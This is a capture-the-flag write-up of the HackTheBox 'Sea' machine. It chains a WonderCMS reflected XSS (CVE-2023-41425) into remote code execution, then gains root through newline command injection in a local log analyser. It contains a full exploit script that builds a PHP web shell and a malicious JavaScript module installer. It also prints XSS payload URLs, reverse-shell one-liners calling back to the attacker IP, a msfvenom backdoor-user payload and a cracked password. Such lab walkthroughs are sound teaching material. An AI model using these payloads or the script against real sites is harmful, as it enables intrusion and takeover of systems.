Sea
Initial Enumeration¶
We start with Nmap to discover open ports and services on the target host. First with the -p-
and --min-rate 10000
flags to potentially get all open TCP ports.
Nmap will tell us 22 and 80 as being open.
We run a detailed scan for these ports, doing version scanning and a script scan as well.
$ sudo nmap -p22,80 -sC -sV -vv -oN nmap-full 10.129.76.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 15:33 CET
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZDkHH698ON6uxM3eFCVttoRXc1PMUSj8hDaiwlDlii0p8K8+6UOqhJno4Iti+VlIcHEc2THRsyhFdWAygICYaNoPsJ0nhkZsLkFyu/lmW7frIwINgdNXJOLnVSMWEdBWvVU7owy+9jpdm4AHAj6mu8vcPiuJ39YwBInzuCEhbNPncrgvXB1J4dEsQQAO4+KVH+QZ5ZCVm1pjXTjsFcStBtakBMykgReUX9GQJ9Y2D2XcqVyLPxrT98rYy+n5fV5OE7+J9aiUHccdZVngsGC1CXbbCT2jBRByxEMn+Hl+GI/r6Wi0IEbSY4mdesq8IHBmzw1T24A74SLrPYS9UDGSxEdB5rU6P3t91rOR3CvWQ1pdCZwkwC4S+kT35v32L8TH08Sw4Iiq806D6L2sUNORrhKBa5jQ7kGsjygTf0uahQ+g9GNTFkjLspjtTlZbJZCWsz2v0hG+fzDfKEpfC55/FhD5EDbwGKRfuL/YnZUPzywsheq1H7F0xTRTdr4w0At8=
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMMoxImb/cXq07mVspMdCWkVQUTq96f6rKz6j5qFBfFnBkdjc07QzVuwhYZ61PX1Dm/PsAKW0VJfw/mctYsMwjM=
| 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHuXW9Vi0myIh6MhZ28W8FeJo0FRKNduQvcSzUAkWw7z
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- TTL of 63 indicating a Linux host as well as possibly no containerization in play.
- 22/TCP SSH: Running SSH on Ubuntu
- 80/TCP HTTP: Apache web server version 2.4.41
Port 80¶
Navigating to the web page first to get an overview.
http://10.129.76.181
We browse through it, clicking on HOW TO PARTICIPATE
and we can click on the contact
hyperlink which redirects us to http://sea.htb/contact.php
We add sea.htb
to our /etc/hosts
file and visit the redirected page again.
/contact.php¶
We can fill out the form and specify our own attack machine IP (http://<ATTACK-IP>/test
) in the Website
field. Doing so, we will get a response on our listener, which reveals the User-Agent
used. From the User-Agent
we can see this as being a normal browser, which might indicate that some user clicked on the Website
link we provided in the form.
$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.76.181] 39424
GET /test HTTP/1.1
Host: 10.10.16.25
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Curling for directories¶
We can use curl to obtain possible redirects to other resources. Alternatively we can run the Ffuf
tool to fuzz for directories recursively, which should find the themes
directory as well as the subdirectory bike
as well.
$ curl -s http://sea.htb | grep -i sea.htb
<link rel="stylesheet" href="http://sea.htb/themes/bike/css/style.css">
<center><img src="http://sea.htb/themes/bike/img/velik71-new-logotip.png" alt="" /></center>
<a href="http://sea.htb/"><h1>Sea</h1></a>
<a class="nav-link" href="http://sea.htb/home">Home</a></li><li class="nav-item ">
<a class="nav-link" href="http://sea.htb/how-to-participate">How to participate</a></li>
Successfully discover http://sea.htb/themes/bike
.
Fuzzing /themes/bike¶
We will use Ffuf
to fuzz for some files/directories on /themes/bike
.
$ ffuf -u http://sea.htb/themes/bike/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://sea.htb/themes/bike/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 36ms]
.htm [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 88ms]
img [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 96ms]
LICENSE [Status: 200, Size: 1067, Words: 152, Lines: 22, Duration: 69ms]
404 [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 74ms]
home [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 162ms]
. [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 103ms]
css [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 3930ms]
.htaccess [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 216ms]
.php [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 4966ms]
.phtml [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 290ms]
.htc [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 145ms]
version [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 110ms]
<--SNIP-->
Interesting hits here are LICENSE
and version
.
We visit LICENSE
first.
http://sea.htb/themes/bike/LICENSE
We can see turboblack
and googling "turboblack bike theme" reveals a theme creator for WonderCMS
.
When visiting http://sea.htb/themes/bike/version
, we can see a version in use.
We can assume here that WonderCMS
is being used and running on version 3.2.0.
Exploitation¶
Wonder CMS version v3.2.0 through v3.4.2 is vulnerable to a reflected XSS and publicly available PoC code exists. It is possible to chain this XSS vulnerability to an RCE, by further abusing the installModule
component to install a malicious theme.
Info
In the following are two ways to achieve successful remote code execution, by using the proof-of-concept script as well as by writing our own Python script.
We run the exploit specifying our attacking IP and port we listen on as well as the target URL (adjusting the PoC to our scenario). This generates our xss.js
file and we then copy the link displayed.
First we will create our payload. The PoC itself tries to download a PHP reverse shell, however HackTheBox
machines have no internet connection, so we need to specify and host our own. We could decide to straight up go with a PHP reverse shell (like pentestmonkey
), but I will go the safe route by choosing a simple PHP web shell.
We put the payload in a file and call it shelly.php
.
Next we create a folder and move our malicious PHP file into it, which is needed to successfully install the module.
Lastly for our payload we zip it up.
Next we can move on to modify the PoC script.
To adjust the target URL we mirror the PoC URL
to check if we get the login prompt, which we successfully do at:
http://sea.htb/index.php?page=loginURL
Next we adjust the PoC Python script, we need to change some code, namely the data
variable which contains the code for the malicious xss.js
:
<--SNIP-->
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = "http://sea.htb/?installModule=http://10.10.16.25:8000/shelly.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
'''
<--SNIP-->
- We change the
urlRev
variable to install a module that is hosted on our attack host. We also specifyhttp://sea.htb
instead of the variables the PoC uses, since it is a bit unstable in working otherwise. - Since we do not launch a reverse shell, we can just delete everything after the
xhr3.send()
function call.
If you do decide to go the direct reverse shell route, make sure to also change the xhr4.open("GET", "http://sea.htb/themes/shelly/shelly.php");
as well as the xhr5.open("GET", "http://sea.htb/themes/shelly/shelly.php?lhost=" + ip + "&lport=" + port);
Now we can actually run it to generate the xss.js
file, start the web server and to get our XSS payload.
$ python3 exploit.py http://sea.htb/loginURL 10.10.16.25 7777
[+] xss.js is created
[+] execute the below command in another terminal
----------------------------
nc -lvp 7777
----------------------------
send the below link to admin:
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8080/xss.js"></script><form+action="
----------------------------
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
The only thing left now is to trigger the XSS payload.
During our previous enumeration on /contact.php
, we know someone is visiting the URL we provide in the Website
field of the contact form. We choose this to place our reflected XSS payload (http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8080/xss.js"></script><form+action="
).
After some time we get a hit on the web server the exploit has started:
<--SNIP-->
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.194.205 - - [21/Nov/2024 14:50:25] "GET /xss.js HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:34] "GET /shelly.zip HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:34] "GET /shelly.zip HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:34] "GET /shelly.zip HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:35] "GET /shelly.zip HTTP/1.1" 200 -
Next we can access the uploaded web shell using curl on http://sea.htb/themes/shelly/shelly.php
.
$ curl -s 'http://sea.htb/themes/shelly/shelly.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl -s 'http://sea.htb/themes/shelly/shelly.php?cmd=hostname'
sea
We can now also get a reverse shell by choosing any Linux binary that is able to do so and issue it using our web shell. I'm choosing nc
here.
$ curl -s 'http://sea.htb/themes/shelly/shelly.php?cmd=which+nc'
/usr/bin/nc
$ curl -s 'http://sea.htb/themes/shelly/shelly.php' --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.25 7777 >/tmp/f"
Before we run the above command, we of course set up our listener. Then after running the command we successfully catch the reverse shell connection on our listener as www-data
user:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 39684
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/shelly$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@sea:/var/www/sea/themes/shelly$ hostname
sea
I decided to rewrite the PoC
script a bit, allowing to adjust the web server IP and port as well as simplifying the payload to a simple PHP web shell that is generated by the script itself. The script also provides the web shell location in order to execute commands and provides an example command for Linux in order to get a reverse shell connection.
The script can also be found on my GitHub.
import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored
def main():
parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)\nInitial CVE and proof-of-concept by prodigiousMind\nRewritten by xpltive", formatter_class=RawTextHelpFormatter)
parser.add_argument("--url", required=True, help="Target URL of loginURL (Example: http://sea.htb/loginURL)")
parser.add_argument("--xip", required=True, help="IP for HTTP web server that hosts the malicious .js file")
parser.add_argument("--xport", required=True, help="Port for HTTP web server that hosts the malicious .js file")
args = parser.parse_args()
target_login_url = args.url
target_split = args.url.split('/')
target_url = target_split[0] + '//' + target_split[2]
# Web Shell
print("[+] Creating PHP Web Shell")
if not os.path.exists('malicious'):
os.mkdir('malicious')
with open ('malicious/malicious.php', 'w') as f:
f.write('<?php system($_GET["cmd"]); ?>')
with zipfile.ZipFile('./malicious.zip', 'w') as z:
z.write('malicious/malicious.php')
os.remove('malicious/malicious.php')
os.rmdir('malicious')
else:
print(colored("[!] Directory malicious already exists!", 'yellow'))
# Malicious .js
js = f'''var token = document.querySelectorAll('[name="token"]')[0].value;
var module_url = "{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token=" + token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", module_url);
xhr.send();'''
print("[+] Writing malicious.js")
with open('malicious.js', 'w') as f:
f.write(js)
xss_payload = args.url.replace("loginURL", "index.php?page=loginURL?")+"\"></form><script+src=\"http://"+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
print("[+] XSS Payload:")
print(colored(f"{xss_payload}", 'red'))
print("[+] Web Shell can be accessed once .zip file has been requested:")
print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>", 'red'))
print("[+] To get a reverse shell connection run the following:")
print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php' --get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\" ", 'yellow'))
print("[+] Starting HTTP server")
subprocess.run(["python3", "-m", "http.server", "-b", args.xip, args.xport])
if __name__ == "__main__":
main()
For exploitation, we follow some of the same steps as with the proof-of-concept RCE tab.
First we validate that the loginURL
can be accessed via http://sea.htb/loginURL
, which is successful.
With having the loginURL
path, we can now run the exploit.
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
During our previous enumeration on /contact.php
, we know someone is visiting the URL we provide in the Website
field of the contact form. We choose this to place our reflected XSS payload provided by the script (http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8080/xss.js"></script><form+action="
).
After some time we will get hits on the web server started by the script. Once the .zip
files have been requested by the victim, the malicious module is most likely installed.
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
We confirm successful code execution by using curl
on the command execution path provided by the script.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
To aid in easier enumeration we establish a reverse shell connection by first starting our listener and then running the command the script suggests.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
And we get a successful connection on the listener.
Host Enumeration¶
After obtaining the shell, we enumerate the web directory /var/www/sea
. Eventually we will find an interesting database file database.js
at /var/www/sea/data/database.js
. This file contains what seems to be the password (in hash format) needed to authenticate at the previously discovered web page /loginURL
.
www-data@sea:/var/www/sea/data$ cat database.js
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
<--SNIP-->
We can try to crack it using Hashcat
. The hash is in bcrypt
format, since it starts with $2y$
. However to do so successfully we need to delete the backslash escape characters \
.
Now we can now run Hashcat
on the above hash using mode 3200:
$ ./hashcat hashes/sea/db-bcrypt.hash rockyou.txt -m 3200
<--SNIP-->
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
The password successfully cracks and is revealed as mychemicalromance
.
Since we don't have a username this password matches to we will enumerate the users present on the host and try for password re-use.
$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
There are two users other than root present. We can successfully authenticate as user amay
using the cracked password.
Also successfully get authenticated using SSH present on the host, so we choose the SSH shell.
The user flag can be found inside the home directory /home/amay/user.txt
of user amay
.
Privilege Escalation¶
Doing some usual manual enumeration (before going to automated tools) we eventually find something interesting by enumerating the listening ports of the localhost
using netstat
.
$ netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:60755 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Port 8080/TCP
is open on 127.0.0.1
. We will take a look at this, however need to forward the port to our attack machine first. Since we already have SSH authentication, I chose to do it using SSH.
Tip
The -N
flag can be used to not start a login shell, thus we can just run this command in some other console tab to successfully forward the port.
We navigate to the port (here 8888/TCP
) on our attack machine.
http://127.0.0.1:8888/
We get a Basic HTTP Auth
login prompt. Using the credentials we have discovered previously - amay:mychemicalromance
- we can successfully authenticate.
Trying the functionalities present, we seem to be able to perform tasks using system commands. This indicates to me that there might be a command injection vulnerability, so we analyze some traffic sent using BurpSuite
.
Looking at the POST data sent for analyzing the file, we can see a parameter specifying the file.
POST / HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8888/
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://127.0.0.1:8888
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: keep-alive
Cookie: csrftoken=xwkilhztwCiavQ8QsErajukQFlV2dA7I; default-theme=ngax
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
log_file=%2Fvar%2Flog%2Fauth.log&analyze_log=
Trying around manually using some common command injection characters, we can successfully achieve command injection using the \n
character URL encoded to %0a
in the log_file
parameter.
We catch the request when clicking on Analyze
and modify the POST data to the above payload. We get the following output on the page, successfully confirming command injection as root
.
We will exploit this by adding a backdoor in form of a root
user. For this we use msfvenom
to generate a malicious .elf
file that does this for us.
$ msfvenom -p linux/x86/adduser USER=xpltive PASS=xpltive -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 94 bytes
Final size of elf file: 178 bytes
Saved as: escalate.elf
We copy it over using scp
:
And we make it executable using the amay
user's SSH connection we have established previously.
Next we run the .elf
as root
by exploiting the command injection vulnerability. We send the following request with the payload launching the .elf
file using BurpSuite (or using curl, etc.):
POST / HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8888/
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://127.0.0.1:8888
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: keep-alive
Cookie: csrftoken=xwkilhztwCiavQ8QsErajukQFlV2dA7I; default-theme=ngax
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
log_file=%0a+/tmp/./escalate.elf%0a&analyze_log=
After running it on the amay
SSH shell we can now successfully login as xpltive
and can confirm the new user also being root
.
The root flag can be found at /root/root.txt
.
Rabbit Hole: Reverse Shell¶
Failure
This shows a failed attempt to get a reverse shell connection, which was not possible. Can potentially cost a lot of time trying, ultimately not getting it to work.
We could also try the privilege escalation by establishing a reverse shell connection as root
user. To do so we first create a malicious .elf
file which serves as establishing the connection to our listener. We use msfvenom
for it.
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.25 LPORT=7777 -f elf -o shelly.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shelly.elf
Next we copy the malicious binary over to the /tmp
folder of the target host using scp
.
Before launching the attack, we need to add execute rights to the binary using our previously established SSH connection as amay
:
Now we start our listener and we can execute the .elf
file via the command execution vulnerability.
We successfully catch the reverse shell, however it will exit after a few seconds.
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 42664
bash: cannot set terminal process group (15376): Inappropriate ioctl for device
bash: no job control in this shell
root@sea:/root/monitoring# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sea:/root/monitoring# exit
This is probably due to the process that we ultimately do the command injection with exiting on the target host.
References¶
- Gist post on
WonderCMS
3.2.0 - 3.4.2 XSS vulnerability: https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413 - PoC exploit for
WonderCMS
XSS: https://github.com/prodigiousMind/CVE-2023-41425